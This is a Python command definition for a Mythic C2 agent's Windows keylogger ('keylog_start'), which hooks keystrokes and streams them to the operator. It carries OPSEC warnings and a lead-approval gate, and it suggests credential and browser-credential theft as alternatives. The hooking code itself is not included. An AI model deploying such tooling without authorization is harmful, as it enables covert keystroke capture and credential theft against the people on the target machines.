from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *


class KeylogStartArguments(TaskArguments):
    def __init__(self, command_line, **kwargs):
        super().__init__(command_line, **kwargs)
        self.args = []

    async def parse_arguments(self):
        pass


class KeylogStartCommand(CommandBase):
    cmd = "keylog_start"
    needs_admin = False
    help_cmd = "keylog_start"
    description = "Start a low-level keyboard logger that captures all keystrokes from the system and streams them to Mythic in real-time. Uses Windows keyboard hooking mechanisms (SetWindowsHookEx) to intercept keyboard input at a low level. CRITICAL OPSEC RISK: Keyloggers are extremely detectable by EDR/XDR solutions, anti-malware, and behavioral analysis engines. Detection is likely within minutes or hours. Always requires approval from a lead operator. Consider alternatives such as credential theft, browser credential extraction, or clipboard monitoring for better OPSEC."
    version = 1
    author = "@KaseyaOFSTeam"
    argument_class = KeylogStartArguments
    attributes = CommandAttributes(
        supported_os=[SupportedOS.Windows],
        suggested_command=False,
    )

    async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
        """
        OPSEC check before creating the task.
        Warns about keylogger risks - this is highly detectable.
        """
        message = "🚨 CRITICAL OPSEC RISK - Keylogger Detected\n\n"
        message += "Keyloggers are EXTREMELY detectable and monitored by:\n"
        message += "  • EDR/XDR solutions (high priority detection)\n"
        message += "  • Anti-malware solutions\n"
        message += "  • Behavioral analysis engines\n"
        message += "  • User activity monitoring tools\n"
        message += "  • Data loss prevention (DLP) systems\n\n"
        message += "Detection mechanisms:\n"
        message += "  • Low-level keyboard hook detection\n"
        message += "  • API hooking detection (SetWindowsHookEx)\n"
        message += "  • Keyboard input monitoring\n"
        message += "  • Suspicious process behavior\n"
        message += "  • Memory scanning for keylogger patterns\n\n"
        message += "⚠️ HIGH RISK FACTORS:\n"
        message += "  • Keyloggers are classified as malware by most security tools\n"
        message += "  • Immediate detection and removal is common\n"
        message += "  • Legal implications in many jurisdictions\n"
        message += "  • May trigger incident response procedures\n\n"
        message += "Consider alternatives:\n"
        message += "  • Use credential theft techniques instead\n"
        message += "  • Use browser credential extraction\n"
        message += "  • Use clipboard monitoring (less detectable)\n"
        message += "  • Use screenshot-based credential capture\n\n"
        message += "⚠️ WARNING: This command is highly detectable and should only be used\n"
        message += "in controlled environments or with explicit authorization."
        
        return PTTTaskOPSECPreTaskMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
            OpsecPreBlocked=True,  # Always block keyloggers
            OpsecPreBypassRole="lead",  # Only lead can approve
            OpsecPreMessage=message
        )

    async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
        """
        OPSEC check after creating the task.
        Warns about artifacts that will be created.
        """
        message = "🚨 OPSEC POST-CHECK - Keylogger Artifacts\n\n"
        message += "This task will create the following artifacts:\n"
        message += "  • Keyboard Hook: Low-level keyboard hook installation\n"
        message += "  • API Hooking: SetWindowsHookEx/UnhookWindowsHookEx calls\n"
        message += "  • Process Behavior: Continuous keyboard monitoring\n"
        message += "  • Network Activity: Keylog data transmission\n"
        message += "  • Memory Artifacts: Keylogger code in memory\n\n"
        message += "These artifacts are detected with HIGH CONFIDENCE by:\n"
        message += "  • EDR/XDR behavioral detection (99%+ detection rate)\n"
        message += "  • Anti-malware signature and heuristic detection\n"
        message += "  • Memory scanning tools\n"
        message += "  • API hooking detection mechanisms\n"
        message += "  • User activity monitoring systems\n\n"
        message += "⚠️ CRITICAL WARNINGS:\n"
        message += "  • Detection is likely within minutes or hours\n"
        message += "  • May result in immediate agent termination\n"
        message += "  • May trigger full incident response\n"
        message += "  • Legal and compliance risks\n\n"
        message += "⚠️ This is one of the most detectable operations in red teaming.\n"
        message += "Use with extreme caution and only when absolutely necessary."
        
        return PTTTaskOPSECPostTaskMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
            OpsecPostBlocked=True,  # Block even in post
            OpsecPostBypassRole="lead",  # Only lead can approve
            OpsecPostMessage=message
        )

    async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
        resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
        resp.DisplayParams = "Start keylogger"
        return resp

    async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
        return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
